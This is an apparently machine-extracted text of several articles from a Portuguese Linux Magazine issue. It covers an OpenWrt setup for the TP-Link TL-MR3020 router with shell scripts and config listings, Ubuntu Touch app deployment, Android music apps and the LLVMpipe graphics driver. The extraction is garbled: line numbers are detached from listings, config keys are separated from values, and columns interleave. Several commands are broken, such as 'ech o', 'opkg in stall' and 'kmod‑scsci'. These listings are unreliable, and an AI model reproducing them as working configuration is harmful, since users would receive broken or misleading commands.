A TP-Link fornece um curto cabo de extensão para esta última. No lado sem fio,
o pequeno roteador suporta IEEE 802.11b/g/n em até 150Mbps.
O TL-MR3020 utiliza cinco LEDs para indicar o status, quatro dos quais podem
ser programados. Há também um botão para a configuração sem fio via WPS e
um desbloqueador com três posições (3G/WISP/AP). Por dentro, o roteador possui
uma CPU ARM de 400MHz e 32MB de RAM. O sistema operacional reside em um
chip de memória flash de 4 MB. A porta USB é usada com o firmware original para
conectar um dispositivo de conexão UMTS para operação como um roteador 3G
móvel. Sem um pendrive, o dispositivo funciona como um ponto de acesso sem fio.
Como uma adição útil ao TL-MR3020, recomendamos um hub USB mini Pearl
(figura 1). Este dispositivo integra um leitor de micro-SDHC e, portanto, fornece
o sistema de arquivos raiz avançado descrito neste artigo em um cartão de memória, sem bloquear a porta USB.
A placa do roteador contém portas adicionais, mas o TP-Link não faz o roteamento
delas. Se o usuário usar um ferro de solda poderá anexar outros componentes, como
um console serial, uma interface I2C ou uma antena externa. A wiki do OpenWrt
apresenta algumas fotos e links para instruções relevantes sobre o TL-MR3020 [3].
62
Se o usuário estiver procurando
por um pacote específico, o subcomando list gera uma lista de pacotes com descrições breves. Para
a instalação USB, precisamos basicamente de um conjunto de pacotes do kernel (listagem 3). É melhor
particionar e formatar o pendrive
USB (/dev/sdb na listagem – pode
ser necessário ajustar isso) no PC.
Além da partição raiz, é desejável
manter uma partição home e, acima
de tudo, espaço de swap.
Depois, podemos simplesmente
conectar o pendrive no roteador e
Listagem 2: /etc/config/wireless
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
# /etc/config/wireless ‑‑‑‑‑‑‑--config wifi‑device radio0
option type mac80211
option channel 11
option macaddr 90:f6:52:e6:d7:b2
option hwmode 11ng
option htmode HT20
list ht_capab SHORT‑GI‑20
list ht_capab SHORT‑GI‑40
list ht_capab RX‑STBC1
list ht_capab DSSS_CCK‑40
# REMOVE THIS LINE TO ENABLE WIFI:
# option disabled 1
config
option
option
option
option
option
option
wifi‑iface
device radio0
network wifi
mode sta
ssid 'my‑ssid'
encryption psk2
key 'secret'
www.linuxmagazine.com.br
Listagem 3: Preparação do pendrive USB
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Set up the root filesystem on a USB stick
# Basic USB support (USB 1.1 and USB 2)
opkg update
opkg install kmod‑usb‑uhci kmod‑usb‑ohci kmod‑usb2
insmod uhci
insmod usb‑ohci
insmod usbcore
insmod ehci‑hcd
# USB Storage (FAT requires additional modules
# that you can upgrade later, however)
opkg in stall kmod‑usb‑storage‑mount
block kmod‑fs‑ext4‑core kmod‑scsci
#
#
#
#
#
#
#
Prepare USB stick (on the PC)
‑> Partition with three partitions (root, home, swap)
fdisk /dev/sdb etc.
‑> Format partitions with ext4 or swap
mkfs.ext4 /dev/sdb1
mkfs.ext4 /dev/sdb2
mkswap /dev/sdb3
# Prepare root on USB (copies old root file system)
mkdir ‑p /mnt/usb
mount /dev/sda1 /mnt/usb
tar ‑cvf ‑ ‑C /overlay . | tar ‑xf ‑ ‑C /mnt/usb
umount /mnt/usb
alterar a configuração dos pontos de
montagem no arquivo /etc/config/
fstab. As linhas 10-16 na listagem 4
são importantes. A última linha da
listagem 3 copia todo o sistema de
arquivos raiz para o pendrive. Criar
um backup agora é aconselhável. O
sistema ainda fará o boot, mesmo
sem o pendrive inserido: neste caso,
ele simplesmente ignora os dispositivos não existentes.
Depois de um reboot com um
pendrive, finalmente teremos mais
espaço em disco. Quaisquer pacotes adicionados agora poderão
ser armazenados lá. Isto posto, ter
o sistema de arquivos raiz em um
dispositivo USB é muito útil. Podemos modificar a configuração com
os editores habituais em um PC e
facilmente copiar os dados entre os
locais (por exemplo, para backups).
Neste ponto, a configuração básica
está concluída, exceto por algumas
coisas, como o hostname. O restante
do procedimento depende de como
será utilizado o roteador, sendo possível usar o gerenciador de pacotes
para recuperar e configurar o software necessário. O procedimento
Linux Magazine #106 | Setembro de 2013
no OpenWrt não é diferente do de
qualquer outro tipo de distribuição.
Botões e LEDs
Por meio da interface web ou SSH,
podemos controlar completamente
o TL-MR3020 como um mini servidor.
No entanto, é mais fácil utilizar os botões existentes. O botão WPS original
é adequado para desencadear ações
individuais, e o interruptor (slide switch)
na lateral (com três posições) faz a comutação entre as diferentes condições
de operação (mais sobre isso depois).
Listagem 4: Configure os
pontos de montagem
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Configure mountpoints
config global automount
option from_fstab 1
option anon_mount 1
config global autoswap
option from_fstab 1
option anon_swap 0
config
option
option
option
option
option
option
mount
target /overlay
device /dev/sda1
fstype ext4
options rw,sync
enabled 1
enabled_fsck 0
config
option
option
option
option
option
option
mount
target /home
device /dev/sda2
fstype ext4
options rw,sync
enabled 1
enabled_fsck 1
config swap
option device /dev/sda3
option enabled 1
Os LEDs servem como uma espécie
de dispositivo de saída. Três estados
diferentes são possíveis: ligado, desligado ou piscando. Em combinação
com os botões, podemos compilar
alguns recursos interessantes. Do ponto de vista técnico, é preciso controlar
os LEDs nos arquivos abaixo de /sys/
class/leds (por exemplo, para o WPS
LED, este é o diretório /sys/class/leds/
tp‑link:green:wps). Os fabricantes do
OpenWrt escondem a complexidade,
Quadro 2: Como configurar o OpenWRT
O sistema de configuração OpenWrt continua a ser muito consistente em
todos os pacotes relacionados ao sistema. Todos os arquivos de configuração estão localizados em /etc/config e são estruturados apenas arquivos de texto simples que são mais facilmente alterados em um editor.
Para a operação de produção do roteador posteriormente, a interface
web é a alternativa preferida do editor: aqui, pode-se facilmente modificar os parâmetros de configuração individuais e consultar o estado
do sistema (figura 4). Outra alternativa é uma interface para a linha de
comando. O comando:
$ uci get system.slider.handler
lê o valor da opção handler na seção slider do arquivo /etc/config/sys‑
tem. Para scripts, a biblioteca /lib/functions.sh oferece alguns utilitários
que facilitam significativamente a definição das configurações.
63
Listagem 5: Edição do arquivo
/etc/config/system
Listagem 6:
Interação com o LED
Listagem 7: Checando o
status do desbloqueador
01 # Configuring LEDs and buttons
02 config system
03 option hostname 'jupiter. bablokb‑local.de'
04 option timezone
'CET‑1CEST,M3.5.0,M10.5.0/3'
05
06 config timeserver 'ntp'
07 list server '0.openwrt.pool.ntp.org'
08 list server '1.openwrt.pool.ntp.org'
09 list server '2.openwrt.pool.ntp.org'
10 list server '3.openwrt.pool.ntp.org'
11 option enable_server '0'
12
13 config led 'led_usb'
14 option name 'USB'
15 option sysfs 'tp‑link:green:3g'
16 option trigger 'usbdev'
17 option dev '1‑1'
18 option interval '50'
19
20 config led 'led_wlan'
21 option name 'WLAN'
22 option sysfs 'tp‑link:green:wlan'
23 option trigger 'phy0tpt'
24
25 config led 'led_lan'
26 option name 'LAN'
27 option sysfs 'tp‑link:green:lan'
28 option trigger 'netdev'
29 option dev 'eth0'
30 option mode 'link tx rx'
31
32 config led 'led_wps'
33 option name 'wps'
34 option sysfs 'tp‑link:green:wps'
35 option trigger 'default‑on'
36
37 config button
38 option button 'wps'
39 option action 'released'
40 option min '3'
41 option max '6'
42 option handler 'halt'
43
44 config button
45 option button 'wps'
46 option action 'released'
47 option min '0'
48 option max '2'
49 option handler 'logger wps pressed 0‑2s'
50
51 config slider 'slider'
52 option handler '/usr/sbin/handle_
slider'
01
02
03
04
05
01 #!/bin/sh
02 # Read the slider (aka BTN_0/BTN_1)
03 # rmmod uses underscores, insmod uses strokes!
04 rmmod gpio_button_hotplug # Remove kernel module
05 echo 18 > /sys/class/gpio/
export # export BTN_0
06 echo 20 > /sys/class/gpio/
export # export BTN_1
07 cat /sys/class/gpio/gpio18/
value > /var/run/BTN_0 # Status BTN_0
08 cat /sys/class/gpio/gpio20/
value > /var/run/BTN_1 # Status BTN_1
09 echo 18 > /sys/class/gpio/
unexport # unexport BTN_0
10 echo 20 > /sys/class/gpio/
unexport # unexport BTN_1
11 insmod gpio‑button‑hotplug # Load kernel module
e o usuário normalmente só precisa
editar a configuração no arquivo /etc/
config/system (listagem 5, linhas 13-35).
Normalmente, o OpenWRT contempla um conjunto de LEDs que
identifica os estados de funciona-
64
#!/bin/sh
# Handle button events
set_led_blink() {
# Switch flashing on (1s on / 0.2 sec off)
06 ech o timer >
/sys/class/leds/
tp‑link\:green\:wps/trigger
07 ech o 1000 >
/sys/class/leds/
tp‑link\:green\:wps/delay_on
08 ech o 200 >
/sys/class/leds/
tp‑link\:green\:wps/delay_off
09 # Turn off after three
seconds
10 sleep 3
11 echo none > /sys/class/
leds/tp‑link\:green\:wps/ trigger
12 # Turn on after three
seconds
13 sleep 3
14 set_led_on
15 }
16
17 set_led_on() {
18 # Turn on LED
19 ech o default‑on >
/sys/class/leds/
tp‑link\:green\:wps/trigger
20 }
21
22 if [ "$BUTTON" = "wps" ]; then
23 if [ "$ACTION" = "pressed" ]; then
24 set_led_blink &
25 else
26 set_led_on
27 fi
28 else
29 exit 0
30 fi
mento de componentes individuais,
tais como a rede ou interface USB.
No entanto, podemos ajustar os padrões para atender às necessidades
de cada usuário. Configurar o switch
também é fácil. Precisamos configurar
os eventos do sistema do kernel, para
que ele acione (triggers) os botões de
evento apropriados. Para fazer isso,
edite o arquivo /etc/hotplug2.rules
e remova o cursor antes da string
^Buttons. Como esta é uma lista de
exceções, habilitamos os eventos
para os botões removendo o sinal
de comentário. A partir de agora, o
sistema executa todos os scripts no
diretório /etc/hotplug/button para
cada evento do botão. As variáveis
BUTTON e ACTION estão definidas.
Um exemplo que demonstra a
interação com os LEDs é exibido na
listagem 6. Este script é apenas para
o botão WPS (linha 22), e faz com que
o WPS LED pisque por três segundos
(linhas 6-8 e 10) e, em seguida, apague
por mais três segundos. Quando soltamos o botão, o script aciona o LED
novamente (linha 19). Em vez de armazenar cada script individualmente no
diretório Button e consultar o status
do switch lá, como na listagem 5, faz
sentido fazer o download de um script
de botão genérico do OpenWrt [4].
Depois, podemos configurar o switch
de forma semelhante a dos LEDs em
/etc/config/system.
O botão WPS está configurado
como um switch desligado aqui: se
pressionarmos o botão por pelo menos três e no máximo seis segundos e
soltarmos em seguida, o sistema será
desligado (linhas 37-42 na listagem 5).
Esta etapa também revela o significado do programa na listagem 6; o
botão do LED pisca durante três segundos e, em seguida, desliga-se por
três segundos – assim não temos que
www.linuxmagazine.com.br
Quadro 3: Mais exemplos de aplicações
A utilidade do TL-MR3020 é resultado do baixo consumo de energia e mobilidade. Ele pode ser utilizado como um servidor
de sincronização usando o aplicativo “Rsync for Android” para sincronizar dados entre dispositivos móveis, o servidor e
outros computadores. Na estrada, o servidor atua como um roteador e emula uma rede doméstica, sem a necessidade
de reconfigurar o “zoo” móvel.
Cenários de aplicação detalhados para o TLMR3020 podem ser encontrados online através de uma simples pesquisa na web.
Estes variam de servidores web e gateways VPN a plataformas de rede social simples. Para explorar os limites do computador,
também instalamos o ownCloud no TL-MR3020. O aplicativo precisa de um servidor web e uma pilha PHP completa.
Recursos básicos como a visualização e manutenção do calendário também funcionam, porém mais lentamente. Além
disso, o TL-MR3020 quebrou a reprodutibilidade ao tentar fazer o upload de várias imagens ao mesmo tempo. Talvez um
pouco de ajuste possa ajudar, mas para executar o ownCloud efetivamente, o usuário precisa de algo mais poderoso
no lado do hardware.
contar para desligar o sistema. Da mesma forma, também podemos usar o
botão WPS para iniciar outra operação
com cliques curtos. A listagem 5 (linhas
44-49) configura uma entrada de log
para fins de demonstração.
Deslizar para
desbloquear
O desbloqueador (slide switch) do
TL-MR3020 é um pouco mais complicado por dois motivos. Primeiro,
Listagem 8: Atualização do botão de status
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/bin/sh
# Handle slider events
. /lib/functions.sh
DELAY=5
LOCK=/var/run/slider.lock
# ‑‑‑ Run Update (asynchronous) ‑‑‑
run_handler() {
# Only start if not already active
if ! mkdir "$LOCK" 2>/dev/null; then
logger "update‑script already running"
exit 0
fi
# Read processing script from /etc/config/system
config_load system
config_get handler slider handler
logger "handler‑script: $handler"
logger "wait $DELAY seconds for all events"
sleep $DELAY
eval $handler # Execute handler
rm ‑fr "$LOCK"
}
# ‑‑‑ Main Program ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑
logger "Process event '$ACTION' for $BUTTON"
# Ignore WPS button
if [ "$BUTTON" = "wps" ]; then
exit 0
fi
# Update button file to match event
if [ "$ACTION" = "pressed" ]; then
echo "1" > "/var/run/$BUTTON"
else
echo "0" > "/var/run/$BUTTON"
fi
# Run asynchronously
run_handler & # (do not block event handling)
Linux Magazine #106 | Setembro de 2013
o kernel não o identifica como um
botão, mas como dois; mapear os
três estados possíveis conta como
2 bits. Cada alteração de estado
aciona dois eventos, que atingem
o script de processamento sequencialmente, mas devem ser avaliados
em conjunto. Em segundo lugar, o
sistema de eventos só identifica as
alterações de estados.
Agora podemos arriscar um pequeno script que verifica o status do
desbloqueador durante o boot, por
exemplo, para configurar o ambiente
de rede. Esse aspecto, no entanto, é
apenas sugestionado na documentação disponível na wiki do OpenWrt.
A listagem 7 mostra como: o script
armazena o status dos dois botões
BTN_0 e BTN_1 em arquivos devidamente nomeados em /var/run. O script
é executado uma vez durante a inicialização, a partir de /etc/rc.local.
Em contraste, o script na listagem 8 é
executado para cada evento do botão.
Ele atualiza o botão de status em /var/
run. Além disso, ele inicia um script de
processamento. A magia extra nas
linhas 10-12 garante que apenas um
script de processamento se inicie. O
tempo de espera antes do processamento (linha 21) garante que todos os
eventos relevantes do botão também
sejam recebidos e processados. As
linhas 16 e 17 recuperam o script de
processamento do arquivo de configuração em /etc/config/system. O
script de processamento, em seguida,
começa na linha 22.
Um exemplo do script é exibido
na listagem 9. Ele lê o status do desbloqueador e reconfigura a rede. Os
65
Listagem 9:
Processamento do script
01 #!/bin/sh
02 # Processing script for the slider
03 logger "Execute $0"
04
05 # Read status of slider
06 if [ `cat /var/run/BTN_0` = "0" ]; then
07 slider="WISP"
08 elif [ `cat /var/run/BTN_1` = "0" ]; then
09 slider="3G"
10 else
11 slider="AP"
12 fi
13 logger "Status of slider: $slider"
14
15 # Remove old symlinks
16 rm /etc/config/dhcp
17 rm /etc/config/network
18 rm /etc/config/wireless
19
20 # Set new symlinks
21 ln ‑s dhcp.$slider /etc/config/dhcp
22 ln ‑s network.$slider /etc/config/ network
23 ln ‑s wireless.$slider /etc/config/ wireless
24
25 # Restart network and DHCP
26 /etc/init.d/network restart
27 /etc/init.d/dnsmasq restart
Coleção
Academy!
arquivos de rede atuais são apenas
links simbólicos; assim, a reconfiguração consiste em apontar os links
simbólicos para os novos arquivos
de configuração. Por exemplo, /etc/
config/network.AP contém a configuração de rede quando o cursor de
desbloqueio está na posição AP. Faz
sentido iniciar o script de processamento no momento da inicialização
(em /etc/rc.local), após a leitura do
status do cursor.
Conclusão
Neste artigo explicamos o hardware,
assim o usuário “apenas” precisa combinar os componentes individuais.
Para informações mais detalhadas
sobre a obtenção de um dispositivo
de conexão UMTS para executar ou
implementar cenários de rede específicos, consulte a wiki do OpenWrt.
O pequeno roteador TL-MR3020
não pode cobrir todas os aplicativos
(quadro 3). No entanto, os mecanis-
mos descritos aqui são pelo menos
similares para outros dispositivos,
incluindo os de outros fabricantes.
Na extremidade superior do espectro de potência estão os dispositivos
QNAP NAS que vêm munidos com
o OpenWrt. No entanto, a gama de
serviços pré-configurados torna a
personalização mais difícil. n
Mais informações
[1] TP-Link: http://www.
tp‑link.com.de/
[2] Projeto OpenWrt: ht‑
tps://openwrt.org
[3] Detalhes para TL-MR3020:
http://wiki.openwrt.org/
toh/tp‑link/tl‑mr3020/
[4] Processamento genéri-
co de botões de eventos:
https://dev.openwrt.org/
browser/trunk/target/li‑
nux/atheros/base‑files/etc/
hotplug.d/button/00‑button/
Principais comandos de
configuração de um
roteador Cisco
Temas e configurações
avançadas
Segurança, dicas, truques
e resolução de problemas
Disponível no site
www.LinuxMagazine.com.br
66
www.linuxmagazine.com.br
Tutorial
Desenvolvimento
para Ubuntu Touch
Aprenda a desenvolver aplicativos para o Ubuntu Touch
e torne seu dispositivo móvel em um computador Linux de bolso!
por Alessandro de Oliveira Faria (Cabelo)
N
a edição anterior da Linux
Magazine, falei sobre a instalação, configuração e outros detalhes para que o leitor possa
iniciar no mundo do Ubuntu Touch.
Nesta edição, vou abordar o desenvolvimento para esta útil plataforma.
A tecnologia utilizada no Ubuntu SDK é o Qt (e como ambiente de
desenvolvimento o Qt Creator). Utilizei para testes o ambiente Ubuntu
12.10 para compilação do exemplo
e ressalto que outras distribuições
também funcionam mas demandam
maior esforço e atenção à detalhes
adicionais, que não são o objetivo
deste artigo. Os comandos para
instalar o Ubuntu SDK são:
sudo add-apt-repository
ppa:canonical-qt5-edgers/qt5-proper
sudo add-apt-repository
ppa:ubuntu-sdk-team/ppa
sudo apt-get update
sudo apt-get install ubuntu-sdk
notepad-qml
Figura 1 O ambiente de desenvolvimento utilizado é o Qt Creator.
Linux Magazine #106 | Setembro de 2013
Agora que o SDK está instalado,
inicie a interface de desenvolvimento
do Qt (Qt Creator, figura 1), pressione a tecla [CTRL+N] e na janela de
diálogo, selecione a opção Ubuntu
Touch/Simple UI/Choose. Defina o
nome do projeto, a localização do
diretório e clique em Next. Ao término do processo, será exibido um
resumo do projeto; então clique no
botão Finish (figura 2).
Para facilitar o início do desenvolvimento, insira o código presente no
endereço [1] no arquivo .qml e execute
o programa, pressionando o atalho
[Ctrl+R] ou execute-o diretamente
pelo terminal através do comando:
qmlscene [caminho-completo-doarquivo.qml]
Resumidamente, este programa
obtêm os valores vigentes de cotação das moedas mundiais pelo site
do European Central Bank através de
um XML [2] e efetua o cálculo de conversão durante a digitação do valor no
campo FieldText ou através da selecão
do tipo da moeda (Buttom) (figura 3).
Um breve resumo do desenvolvimento
básico de aplicativos encontra-se em
[3]. A partir daqui, partiremos para o
Deploy do aplicativo.
Vamos enviar o aplicativo para o
Ubuntu Touch, mas para obter sucesso
devemos efetuar as devidas configurações. Em primeiro lugar, conecte o cabo
USB no dispositivo e no computador
e selecione Devices ou Dispositivos
na interface do seu Qt Creator para
estabelecer a comunicação (figura 4).
Figura 2 Resumo da criação do novo projeto.
67
Figura 3 Tela de digitação de dados do conversor de moedas para
Ubuntu Touch.
device” para copiar automaticamente as configurações de rede sem fio
(senha, SSID , canal e outros). Após
este procedimento a instalação do
openssh-server será iniciada para que
seja possível acessar o aparelho
em modo desenvolvedor (figura 5).
Vale a pena mencionar que, no
modo avançado, algumas opções
como atualização da imagem, reboot
e outros recursos estão disponíveis.
Uma vez que o dispositivo esteja
configurado no modo debug, basta
pressionar o atalho [CRTL+F12] para
enviar o aplicativo para o dispositivo
detectado e executá-lo. n
Alessandro de Oliveira Faria é sócio-fundador da
empresa NETi Tecnologia fundada em 1996, empresa
especializada em desenvolvimento de software e
soluções biométricas. é consultor biométrico na
tecnologia de reconhecimento facial, atuando na área
de tecnologia desde 1986, levando o Linux a sério
desde 1998, membro colaborador da comunidade
Viva O Linux, mantenedor da biblioteca open-source
de vídeo captura, embaixador e membro openSUSE
entre outros projetos.
Gostou do artigo?
Figura 4 Detecção de dispositivos no Qt Creator.
Queremos ouvir sua opinião.
Fale conosco em:
[email protected]
Este artigo no nosso site:
http://lnm.com.br/article/8981
Mais informações
[1] Download do código deste artigo: http://
www.linuxmag.com.br/issues/106/conteudoqml.txt
[2] XML da cotação do dia
das moedas mundiais: http://
www.ecb.int/stats/eurofxref/eurofxref-daily.xml
Figura 5 Modo de desenvolvedor habilitado.
Para identificar o aparelho, clique no botão “Detect Devices” ou
dependendo do estado do dispositivo, clique em “Redetect Devices”.
O número serial do dispositivo será
exibido no canto superior esquer-
68
do se tudo estiver funcionando
corretamente. Se o Ubuntu Touch
estiver com a rede sem fio configurada, clique em “Enable developer
mode”, caso contrário clique em
“clone network config from host to
[3] Desenvolvimento para
Ubuntu: http://developer.
ubuntu.com/get-started/
gomobile/#step-write-app
[4] Exemplo (código fonte
completo) do conversor de
moedas para Ubuntu Touch: https://bazaar.launchpad.
net/~dpm/+junk/CurrencyConverterUpdated/files/8
www.linuxmagazine.com.br
Android
Aperte o play!
Os melhores aplicativos de música e truques para melhorar a qualidade de som do seu Android.
por Flávia Jobstraibizer
N
inguém vive sem música.
Essa é uma máxima na qual
esta humilde autora acredita
piamente. Mesmo os ermitões em
algum momento cantarolam alguma música em meio à sua solidão. O
Android possui excelentes aplicativos para música, seja para execução,
organização de biblioteca musical
ou mesmo para localizar podcasts,
audiolivros e outros recursos. Também há diversos truques e macetes
Figura 1 Organização de audio por palavras-chave, intérpretes ou
tipo de música.
Figura 2 As capas dos álbuns também podem ser uma forma de
organizar o conteúdo.
Linux Magazine #106 | Setembro de 2013
que podemos fazer para melhorar
a qualidade de audio dos dispositivos equipados com o simpático
sistema do robozinho.
Música na
palma da mão
Alguns aplicativos já conhecidos para
execução de músicas como N7Player
[1], possuem uma organização interessante da biblioteca musical, onde
as faixas podem ser localizadas através de uma “nuvem de tags”, composta pelo nome do cantor, nome
da música ou mesmo pelo tipo de
música (figura 1). A organização por
capas de álbuns (figura 2) também é
outro recurso presente no N7Player e
comum a outros importantes tocadores de músicas, como o MusiXMatch
[2] (quem se lembra do Music Match
Jukebox que existia pra Windows nos
anos 2000? Este se parece MUITO com
ele). Atualmente o MusiXMatch é um
dos preferidos por quem deseja – além
dos recursos comuns – acompanhar
as letras das músicas em tempo real
(e com tempo real, quero dizer que
o aplicativo baixa a letra da música
enquanto ela é executada, contanto
que uma conexão de Internet esteja
disponível). O aplicativo possui um
bom equalizador, que auxilia o usuário
a predefinir o melhor ambiente de som
possível em seu dispositivo (figura 3).
O bom e velho Winamp também
modernizou-se e veio parar nos dispositivos móveis. A organização de
músicas por pastas é um diferencial,
evitando a mistura homérica feita
por outros players (figura 4). O aplicativo está disponível em duas ver-
69
Figura 5 O PowerAmp possui um dos mais completos equalizadores.
Figura 3 Equalizador do MusiXMatch, útil para melhorar a qualidade do audio em execução.
sões: gratuita [3] e Pro, com recursos
adicionais como a organização por
pastas, é claro, e outros diferenciais
como o a execução de qualquer audio
streaming através de um URL direto.
Figura 4 A organização por pastas
do Winamp Pro é um diferencial
do aplicativo.
70
O PowerAmp [4] talvez seja um
dos mais completos no que tange
à configurações de audio. Possui o
mais completo equalizador (figura 5),
configuração de balanço, baixos e outros bastante sensível e ainda possui
widgets personalizáveis para que seja
possível incluí-lo na área de trabalho
sem engasgos da música. Tais recursos
estão presentes apenas na versão Pro
(que custa cerca de R$8,00) que vale
muito a pena ser adquirida.
Para ouvir rádio, não limite-se ao
aplicativo padrão do Android (e há
alguns dispositivos importados que
nem mesmo este aplicativo padrão
possuem). Neste campo, as opções
são inúmeras. O TuneIn [5] é um dos
mais populares e funciona basicamente
através da Internet. Com ele é possível
ouvir mais de 70000 estações de rádio
via streaming e que podem ser localizadas por tipo, localização (somente
rádios do Brasil, por exemplo) e até
mesmo por idioma (figura 6).
Aumente o
poder de audio
Alguns aplicativos podem ajudar a
melhorar o poder de audio do seu dispositivo. Mesmo dispositivos um tanto
quanto limitados podem beneficiar-se
obtendo melhor qualidade de audio,
Figura 6 Para ouvir mais de 70000 rádios online, o TuneIn é a melhor opção.
www.linuxmagazine.com.br
neste aplicativo e surpreenda-se
assim como eu (figura 9).
Conclusão
Opções para tornar a experiência de
audio incrível não faltam. Leia atentamente os comentários dos usuários antes de baixar determinados
aplicativos de audio e desconfie de
aplicativos que exigem permissões
absurdas para instalação (como um
determinado player que “informa” a
necessidade de acesso aos seus SMS
e catálogo de endereços no momento
da instalação), afinal, tudo o que você
não quer ouvir é uma música triste por
conta de algum aplicativo malicioso. n
Gostou do artigo?
Figura 7 O Music Volume EQ “turbina” significativamente o audio
do seu dispositivo.
Figura 8 A galeria de efeitos préconfigurador do Equalizer surpreende durante o uso.
tratamento de ruidos e sensibilidade
mais refinada em graves e agudos.
Um exemplo disso é o Music Volume EQ [6], que além de gratuito é um
dos aplicativos mais bem avaliados no
quesito “aumentar o volume”do som
do aparelho, além de possuir confi-
gurações refinadas para melhorar a
qualidade do audio (figura 7).
O Equalizer [7] é outro aplicativo interessante. Em meus testes, a
galeria de efeitos pré-configurados
(figura 8) rendeu surpresas pois a
qualidade e nitidez do som melhoraram significativamente, até mesmo em audio extraído da Internet.
Um dos mais surpreendentes no
entanto, é o aplicativo Ambiance [8],
que gera aleatoriamente cerca de
2500 efeitos sonoros que isolam o
barulho externo (claro que ter um
fone de ouvido de ótima qualidade
vai garantir esse excelente resultado).
Com um fone de ouvido da Phillips
que já possui o recurso de isolamento de barulho, obtive a inacreditável
chance de não escutar nada além
da música que estava ouvindo, em
meio ao trânsito caótico de São Paulo enquanto me dirigia à redação
da Linux Magazine. O aplicativo
possui ainda recursos como despertador com sua música preferida
e até gravador de audio (útil para
gravar palestras, por exemplo). Por
favor pague a bagatela de R$6,00
Figura 9 Anular o barulho externo
é o recurso principal do Ambiance.
Linux Magazine #106 | Setembro de 2013
Queremos ouvir sua opinião.
Fale conosco em:
[email protected]
Este artigo no nosso site:
http://lnm.com.br/article/9005
Mais informações
[1] N7Player: https://play.google.
com/store/apps/details?id=com.
n7mobile.nplayer
[2] MusiXMatch: https://
play.google.com/store/
apps/details?id=com.musixmatch.android.lyrify
[3] Winamp Free: https://
play.google.com/store/apps/
details?id=com.nullsoft.winamp
[4] PowerAmp: https://
play.google.com/store/
apps/details?id=com.maxmpz.audioplayer.unlock
[5] TuneIn: https://play.
google.com/store/apps/
details?id=tunein.player
[6] Music Volume EQ: https://
play.google.com/store/apps/
details?id=hr.podlanica
[7] Equalizer: https://play.
google.com/store/apps/
details?id=com.smartandroidapps.equalizer
[8] Ambiance: https://
play.google.com/store/
apps/details?id=com.urbanapps.ambiance
71
Análise
Tubo gráfico
A ideia é simples: se o driver da placa gráfica não oferece gráficos 3D, uma ajuda especial delegaria
todos os cálculos 3D ao processador principal. Neste artigo, explicamos como fazer esse trabalho.
por Tim Schürmann
O
Starter está inserido em
uma janela com efeito violeta cintilante com sombras sutis e rodeado por um brilho
suave quando minimizado. Estes
efeitos puros da área de trabalho do Unity só são possíveis se
o Ubuntu, ao iniciar, detectar a
placa gráfica e localizar um driver adequado, o que por sua vez
fornece uma aceleração 3D. Isso,
às vezes – mas nem sempre – funciona, especialmente em placas
gráficas mais antigas, notebooks
e netbooks (figuras 1 e 2).
LLVMpipe
O Ubuntu 12.04 costumava iniciar
o Unity 2D, o “irmão” menos eficaz
do Unity. Com o Ubuntu 12.10, a
Canonical substituiu o Unity 2D
pelo LLVMpipe. Este driver de placa gráfica é invocado quando o
Ubuntu precisa usar a placa de
extensão gráfica apenas no modo
2D. O LLVMpipe permite que o pro-
Figura 1 O Unity desenha uma sombra ao redor das janelas...
72
cessador principal controle todos
os efeitos 3D. Desta forma, o Unity
pode funcionar sem a aceleração
3D em computadores mais antigos
ou máquinas virtuais, enquanto
os desenvolvedores da Canonical
podem se concentrar em um único ambiente de trabalho Unity. O
LLVMpipe também pode executar
outros programas 3D.
A figura 3 mostra o caminho percorrido pelos arquivos gráficos do
aplicativo até a tela. Com o Linux,
a maioria dos programas 3D usam
a biblioteca gráfica OpenGL, que
prevê, entre outras coisas, algumas
funções básicas para desenhar linhas e superfícies. Os detalhes são
definidos pelo padrão OpenGL, que
o consórcio de indústrias Khronos
Group [1] gerencia e desenvolve.
Fabricantes de placas gráficas
normalmente fornecem a seus
drivers uma biblioteca OpenGL
otimizada, que está intimamente
conectada à maior parte dos drivers proprietários do kernel e pode,
portanto, mover rapidamente os
arquivos para as placas gráficas.
Mas, em primeiro lugar, nem toda
placa gráfica possui um driver proprietário e, em segundo lugar, não
www.linuxmagazine.com.br
Aplicativos (Unity)
OpenGL (Mesa)
OpenGL State Tracker
Open 3D Interface
Drivers específicos GPU
(Pipe-Driver)
Driver GA Winsys
Figura 2 ...enquanto seu homólogo Unity 2D não o faz. Aqui o usuário
tem que se contentar com uma coloração mais escura.
é tão fácil examinar o código fonte
em caso de problemas. Felizmente,
ainda existe uma alternativa.
Drivers gráficos
Brian Paul começou a desenvolver a biblioteca livre e aberta na
Internet em 1993 e chamou-a de
Mesa (também conhecida como
Mesa 3D [2]). No início, a biblioteca usava o processador principal
para calcular gráficos 3D. A saída
era relativamente lenta, mas ainda
entregava imagens 3D. Então, em
2001, Brian Paul fundou a empresa
de consultoria Tungsten Graphics
com outros quatro especialistas gráficos. Eles desenvolveram
um novo driver gráfico chamado
Gallium3D (ou apenas Gallium
[3] , para abreviar) em 2008. A
ideia principal era tornar o driver
menor, para mantê-lo compatível
com outras bibliotecas gráficas
além do Mesa e torná-lo mais
facilmente transportável, o que
simplificaria significativamente
o desenvolvimento de drivers de
placas gráficas. O novo sistema foi
um sucesso, pelo menos no Linux,
principalmente porque integrava
o Mesa e usava-o para saída.
Linux Magazine #106 | Setembro de 2013
Como mostrado na figura 3, o
Mesa calcula os dados 3D e passaos adiante para o chamado State
Tracker, que prepara as instruções
OpenGL para torná-las compreensíveis ao driver gráfico Gallium3D.
Cada biblioteca gráfica possui um
state tracker próprio, atualmente
disponível também para a biblioteca de gráficos vetoriais OpenVG
[4]. Através de uma interface fixa,
o state tracker, em seguida, passa
os arquivos gráficos para o driver
de placa gráfica atual, também conhecido como pipe driver. O state
tracker não executa no kernel Linux
mas no espaço do usuário, assim
como muitos outros programas. Em
seguida, converte os dados em 3D
para que o driver os compreenda.
A placa gráfica passa o resultado
final para a interface chamada
Gallium Winsys, a qual retorna os
arquivos para o módulo de kernel apropriado à placa gráfica. O
módulo do kernel, por fim, passa
os dados 3D para o hardware da
placa gráfica. No Linux, o módulo
